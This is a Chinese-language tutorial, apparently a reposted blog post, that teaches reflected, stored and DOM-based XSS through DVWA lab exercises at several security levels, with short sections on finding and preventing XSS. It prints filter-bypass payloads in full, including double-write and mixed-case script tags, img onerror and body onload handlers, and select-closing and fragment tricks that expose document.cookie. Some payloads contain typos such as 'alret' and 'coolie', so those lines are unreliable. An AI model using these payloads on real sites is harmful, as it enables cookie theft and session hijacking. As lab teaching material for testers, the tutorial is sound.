渗透测试之xss跨站脚本攻击

xss跨站脚本攻击

理论

1.定义:

xss跨站脚本攻击是一种web应用程序的安全漏洞,主要是由于web应用程序对用户的输入过滤不足而产生的,攻击者在web页面中插入恶意脚本代码,在用户浏览网页的时候,嵌入其中的恶意代码就会被执行,攻击者就会对受害用户进行cookie资料窃取、会话劫持、钓鱼欺骗等行为。

2.分类:

反射型xss(reflected xss)
存储型xss(stored xss)
dom型xss(dom-based xss)
mxss (突变型xss)
uxss(通用型xss)
flash xss
utf-7 xss
mhtml xss
css xss
vbscript xss

1.反射性XSS详解

1.反射型xss概述

定义:
反射型XSS也称非持久型、参数型XSS,最常见且使用最广。
主要用于将恶意脚本附加到url地址的参数中
此类型的xss常见与网站搜索栏、用户登入口等位置
常用来窃取客户端cookie或进行钓鱼欺骗

特点:
单击链接时触发,只执行一次。

利用方法
使用特定的手法如站内私信、邮件,诱使用户访问包含恶意代码的url,当用户单击链接时,恶意代码就在受害者主机上的浏览器执行。

2.反射型xss实验一:

dvwa:安全级别为low

点击xss (reflected),进入测试页面

url地址栏中输入<script>alert(/xss/)</script>,出现弹框

url地址栏中输入<script>alret(document.coolie)</script>出现弹框,获得当前页面的cookie

3.反射型xss实验二:

dvwa:安全级别为mediun

点击xss (reflected),进入测试页面

url地址栏中输入<script>alert(/xss/)</script>,未出现弹框

查看源程序,原来是使用str_replace()函数对<script>进行了替换,直接插入的代码失效

此时可使用双写绕过或者大小写绕过的方式进行绕过
具体代码如下:
双写绕过:<sc<script>ript>alret(/xss/)</script> 出现弹窗
大小写绕过:<Script>alert(/xss/)</script>出现弹窗

使用大小写绕过和双写绕过的方式获取cookie
大小写绕过:<Script>alret(document.coolie)</script>出现弹框,获得当前页面的cookie
双写绕过:<sc<script>ript>alert(document.cookie)</script>出现弹框,获得当前页面cookie

4.反射型.xss实验三

dvwa 安全级别设置为high

点击xss (reflected),进入测试页面
先查看源程序,发现使用preg_replace函数将“/script”进行了替换,
这样就无法使用常用的绕过方法

这时就得使用标签,如<img>、<body>等提供的方法进行脚本注入
(1)<img>标签弹窗
<img src=1 onerror=alert(/xss/)>

获取当前页面cookie
<img src=1 onerror=alert(document.cookie)>

(2)<body>标签弹窗
<body onload=alert(/xss/)>

获取当前cookie
<body onload=alert(document.cookie)>

2.存储型xss详解

1.存储型xss概述:

定义:
攻击者直接将恶意js代码上传或存储到漏洞服务器中,在其他用户浏览该页面时,即从数据库中读取恶意代码,在受害者浏览器上执行。

持久型xss常出现在网站的留言板、评论、博客日志等交汇处

特点是不需要用户单击特定的url便可执行跨站脚本

利用方法
直接向服务器中存储恶意代码、只要用户访问此页面即中招。
xss蠕虫

2.存储型xss实验一

将dvwa的安全级别设置为low

选择xss(stored)进入测试页面

在message输入框中输入<script>alert(/xss/)</script>出现弹框
获取当前用户cookie
<script>alert(document.cookie)</script>  出现弹框且爆出cookie

再次刷新页面发现弹窗再次出现

3. 存储型xss实验二

将dvwa 安全级别设置为medium

进入xss(stored)测试页面

查看源程序,会发现服务器端对message 框内容使用htmlspecialchars()函数进行转义,
对name框使用str_replace()函数进行替换,因此我们可以在name框中使用绕过的方法。

设置网页代理

设置burp suite 的代理参数。

使用双写绕过的方式获取弹窗和cookie
在burp suite中修改name参数
<sc<script>ript>alert(/xss/)</script> 出现弹窗
<sc<script>ript>alert(document.cookie)</script>获得cookie

使用大小写混淆绕过
在burp suite中修改name参数
<Script>alert(/xss/)</script> 出现弹窗
<Script>alert(document.cookie)</script>获得cookie

4.存储型xss实验三

将dvwa 安全级别设置为high

进入xss(stored)测试页面

查看源程序,发现对message参数进行了html转义,且对name参数进行了preg_replace()函数进行替换,不能使用常用的绕过方法。
此时就使用<img>、<body>等方法进行xss脚本注入
1.<img>标签
<img src=1 onerror=alert(/xss/)> 出现弹窗
<img src=1 onerror=alert(document.cookie)> 弹出cookie

2.<body>标签
<body onload=alert(/xss/)> 出现弹窗
<body onload=alert(document.cookie)> 弹出cookie

3.DOM型xss详解

1. DOM型xss概述

dom-based xss是基于dom文档对象模型的一种漏洞

攻击者通过操纵dom中的一些对象,例如url/location等,在客户端输入的数据中包含一些恶意的js代码,如果这些脚本没有经过适当的过滤和消毒,那么应用程序就会受到基于dom型的xss攻击。

DOM型XSS取决于输出位置,并不取决于输出环境,因此DOM型XSS既有可能是反射型的,也有可能是存储型的。

2.DOM型XSS实验一

在dvwa中将安全级别设置为low

选择DOM Based Cross Site Scripting (XSS) 进入测试页面

在URL地址框中输入<script>alert(/xss/)</script>  出现弹框

在URL地址框中输入<script>alert(document.cookie)</script>  获取cookie

在URL地址框中输入以下脚本,篡改页面。
<script>
document.body.innerHTML=
”<div style=visibility:visible;>
<h1>
this is dom xss”
</h1>
</div>”,
</script>

3.DOM型XSS实验二

在dvwa中将安全级别设置为medium

选择DOM Based Cross Site Scripting (XSS) 进入测试页面

查看源程序发现 stripos函数过滤了<script>标签,其中stripos表示不区分大小写,因此大小写绕过和双写绕过的方法就无效了

此时就应该使用>/option></select>进行参数闭合,然后再添加DOM标签参数进行XSS注入,命令如下
1.body标签
>/option></select><body onload=alert(/xss/)> 出现弹窗
>/option></select><body onload=alert(document.cookie)> 获取cookie

2.img标签 
>/option></select><img src=1 onerror=alert(/xss/)> 出现弹窗
>/option></select><img src=1 onerror=alert(document.cookie)>   获取cookie

4.DOM型XSS实验三

在dvwa中将安全级别设置为high

选择DOM Based Cross Site Scripting (XSS) 进入测试页面

进入源程序发现对参数进行了判断,如果不是选项就会使用默认参数

此时就因该使用 # 进行截断,然后添加相应的注入命令,
这是应为#后的参数只在浏览器显示,并不会传送到服务端,也就不会被过滤。

#<script>alert(/xss/)</script> 出现弹窗

#<script>alert(/xss)</script> 获得cookie

XSS漏洞挖掘:

1.工具检测:
漏扫工具:awvs、appscan 等
插件:XSSDetect、XSS Me等
工具检测的问题:
随着web的发展,交互性越来越多,Ajax使用率也越高,xss也越多
仅靠工具是不现实的

大部分工具扫描的原理都是在web页面的源代码进行简单的对比,但是js动态生成的dom越来越多,仅仅通过源代码对比是不可行的

2.手工测试:
构造payload
检查代码缺陷

数据交互(输入/输出 )的地方最容易产生跨站脚本,所以优先考虑的是哪里有输入、输入的数据在哪里输出,一般常会对网站的输入框、url参数、cookie、post表单、http头内容进行测试。
基本输入点(input[text])、text area、table
被隐藏的输入点(input{hidden})
客户端脚本过滤
验证码

可以通过浏览器调试工具、抓包工具 发现一些提交的隐藏参数

在可以得知输出位置的条件下
输入敏感字符如:”<、>、‘、“、‘等
提交请求后查看html源代码,查看字符是否被转义

在无法知道输出位置的情况下
在输入出使用各种XSS vector,查看页面是否执行
输入可能没有被过滤的字符,看是否侧漏
看功能异常,是否有报错

XSS防护方法:

完善的过滤机制:输入验证、输出编码

硬件防护: waf、数据库安全

猜你喜欢

转载自blog.csdn.net/weixin_45380284/article/details/107769656